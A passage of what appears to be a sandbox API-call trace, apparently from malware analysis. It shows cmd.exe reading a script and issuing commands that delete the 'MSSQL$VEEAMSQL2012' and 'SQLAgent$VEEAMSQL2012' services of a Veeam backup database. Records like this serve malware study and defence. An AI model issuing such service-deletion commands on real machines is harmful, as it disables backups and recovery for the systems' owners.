returned 0xb8 [0075.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.697] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.697] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.697] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.697] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.697] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.698] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.698] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.698] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.698] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.698] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.698] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.698] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$VEEAMSQL2012\"\n") returned 1 [0075.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="QSQL$VEEAMSQL2012\"\n") returned 1 [0075.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="LQL$VEEAMSQL2012\"\n") returned 1 [0075.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="AL$VEEAMSQL2012\"\n") returned 1 [0075.699] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.699] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.699] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="g$VEEAMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="nEEAMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="tEAMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="$AMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="VMSQL2012\"\n") returned 1 [0075.700] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.700] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.700] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="ESQL2012\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="EQL2012\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="AL2012\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="M2012\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="S012\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.701] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="Q12\"\n") returned 1 [0075.701] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.701] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="L2\"\n") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="2\"\n") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="0\n") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.702] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0075.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.703] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0075.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.703] GetFileType (hFile=0xb8) returned 0x3 [0075.703] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.703] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.703] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.703] GetFileType (hFile=0x120) returned 0x3 [0075.703] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 35 [0075.703] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x22, lpOverlapped=0x0) returned 1 [0075.703] GetProcessHeap () returned 0x240000 [0075.703] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0075.703] GetProcessHeap () returned 0x240000 [0075.703] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0075.703] GetProcessHeap () returned 0x240000 [0075.703] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.703] GetProcessHeap () returned 0x240000 [0075.703] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.703] GetProcessHeap () returned 0x240000 [0075.703] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x50) returned 0x2597e0 [0075.704] GetConsoleOutputCP () returned 0x1b5 [0075.704] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.704] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.704] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.704] GetProcessHeap () returned 0x240000 [0075.704] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.704] GetProcessHeap () returned 0x240000 [0075.704] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x56) returned 0x259840 [0075.704] GetProcessHeap () returned 0x240000 [0075.704] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0075.704] SetErrorMode (uMode=0x0) returned 0x1 [0075.704] SetErrorMode (uMode=0x1) returned 0x0 [0075.704] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.705] SetErrorMode (uMode=0x1) returned 0x1 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0075.705] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.705] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.705] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.705] GetProcessHeap () returned 0x240000 [0075.705] RtlReAllocateHeap 